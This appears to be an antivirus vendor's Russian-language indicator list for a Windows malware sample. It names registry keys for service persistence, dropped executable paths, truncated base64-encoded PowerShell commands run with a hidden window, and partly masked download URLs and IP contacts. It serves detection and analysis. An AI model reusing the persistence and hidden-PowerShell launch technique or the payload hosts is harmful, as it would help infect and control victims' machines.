Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\winrsmgr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\winrsmgr] 'ImagePath' = '"%WINDIR%\SysWOW64\mfcm100\winrsmgr.exe"'
- 'winrsmgr' "%WINDIR%\SysWOW64\mfcm100\winrsmgr.exe"
- 'winrsmgr' %WINDIR%\SysWOW64\mfcm100\winrsmgr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJAHQAagBwADQANgAwAD0AKAAnAEoAdQAnACsAKAAnADgAOABsACcAKwAnADAAaQAnACkAKQA7ACQARABuAHIAeQAxAHoAagA9ACQASwAxAHgAegByAGoAZgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIA...
- %HOMEPATH%\onennqf\wo0ekau\gznbie.exe
- %WINDIR%\syswow64\mfcm100\winrsmgr.exe
- %HOMEPATH%\onennqf\wo0ekau\gznbie.exe в %WINDIR%\syswow64\mfcm100\winrsmgr.exe
- '18#.#80.181.202':80
- http://ki##oo.com/dl/7y7I1V/
- http://18#.#80.181.202/nFfCNoiQ/
- DNS ASK ne###ontec.com
- DNS ASK ki##oo.com
- '%HOMEPATH%\onennqf\wo0ekau\gznbie.exe'
- '%WINDIR%\syswow64\mfcm100\winrsmgr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJAHQAagBwADQANgAwAD0AKAAnAEoAdQAnACsAKAAnADgAOABsACcAKwAnADAAaQAnACkAKQA7ACQARABuAHIAeQAxAHoAagA9ACQASwAxAHgAegByAGoAZgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIA...' (со скрытым окном)